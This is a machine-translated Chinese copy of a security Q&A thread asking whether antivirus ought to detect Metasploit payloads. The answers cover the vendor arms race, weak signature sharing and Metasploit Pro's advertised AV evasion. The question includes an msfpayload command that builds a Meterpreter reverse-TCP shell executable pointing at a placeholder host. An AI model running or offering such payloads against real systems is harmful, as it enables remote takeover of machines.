防病毒软件应该检测 metasploit 有效载荷吗?

信息安全 杀毒软件 元数据
2021-09-09 03:42:18

作为工作站渗透测试的一部分,我将一个简单的 metasploit 有效负载复制到工作站上,并尝试运行它。通常这是由防病毒软件阻止的。但是,有时不是(我不会说出违规者的名字)。AV 软件正在运行并正确检测到 EICAR,但它没有检测到简单的非编码 metasploit 有效负载。

我的直觉是,这是 AV 软件的故障,应该报告为漏洞。但是,我想知道这种行为是否真的是有意的?是否存在“metasploit 不是病毒”的合理论点?

在这种情况下,有效负载是 windows/meterpreter/reverse_tcp 编码为 exe 文件,没有混淆。使用此命令生成:

msfpayload windows/meterpreter/reverse_tcp LHOST=1.2.3.4 X > payload.exe
3个回答

合乎逻辑的答案是肯定的,因为 Metasploit 在很大程度上是开源的,所有 AV 都应该检测并阻止 Metasploit 生成的模块,如果它们正在执行它们的工作。不幸的是,现实情况是,即使恶意代码/可执行文件是使用诸如 Metasploit 之类的开源框架生成的,实际检测和阻止恶意代码/可执行文件也非常困难。我对此事的看法只是 Metasploit 有一个新的更新,而 AV 供应商尚未为新生成的有效负载创建签名。

以下是一些原因:

  1. 正如 TimC 所说,这是一场军备竞赛。反病毒公司想方设法通过签名和启发式检测来阻止恶意代码。这反过来又降低了旨在绕过 AV 的产品和工具的有效性,因此找到了绕过 AV 的新方法并将其纳入回避产品中。Metasploit 的开发人员和社区贡献者非常了解 AV 产品,并且随着不断的更新,通常会有新的创新技术在一段时间内避免 AV,直到供应商再次赶上。

在此处输入图像描述

  1. 防御者没有有效地共享信息,这导致在一个 AV 上检测到的内容可能在相当长的一段时间内或永远不会被另一个 AV 标记。虽然工作正在朝着标准 ( http://standards.ieee.org/develop/indconn/icsg/malware.html ) 发展,但业务就是业务,许多供应商都有自己的专有标准,有效地阻碍了信息共享。LastLine 实验室的一项测试显示,供应商检测恶意软件需要多长时间。请注意:他们使用 Virustotal 进行测试,这不是真实世界的测试,但它确实提供了有趣的信息。有关使用 VirusTotal 进行测试的更多信息,请参阅:https ://community.webroot.com/t5/Techie/Testing-antivirus-with-VirusTotal-is-a-bad-idea/td-p/62881. 它基本上归结为无法使用 VirusTotal 环境中的所有检测机制。

在此处输入图像描述

但是,我想知道这种行为是否真的是有意的?是否存在“metasploit 不是病毒”的合理论点?

没有 AV 供应商愿意将 Metasploit 列入白名单,我相信如果可以的话,他们会很乐意将其归类为病毒。证明这一点很简单,尝试在运行 AV 的机器上安装 Metasploit!

这是一场军备竞赛。metasploit 的开发人员希望开发能够击败反病毒的插件。反病毒开发者想要打败 metasploit 插件。

它们不可能都成功,所以有时 AV 会推出检测所有 metasploit 模块的签名,有时 metasploit 开发人员会找到逃避 AV 的新方法。

您会认为 AV 供应商具有优势,因为 metasploit 是开源的,但显然不是在这种情况下。

这取决于您使用的是哪个版本的 metasploit。在 metasploit 专业版中,您可以享受动态有效负载,它当然可以逃避防病毒。

根据 Rapid7,动态有效载荷可以:

• 在超过 90% 的情况下避开排名前 10 位的 AV 解决方案。没有 AV 供应商检测到所有 MSP 有效负载选项!

• 使用纠错使会话比常规 MSF 会话更稳定

• 下载有效负载时对流量进行编码,有助于规避 IPS

尝试将有效负载上传到Virus Total以检查其他防病毒软件是否检测到有效负载。如果大量防病毒软件将您的有效负载视为病毒,那仅意味着您的防病毒软件已过时。尝试更新您的病毒定义或更改您的防病毒软件。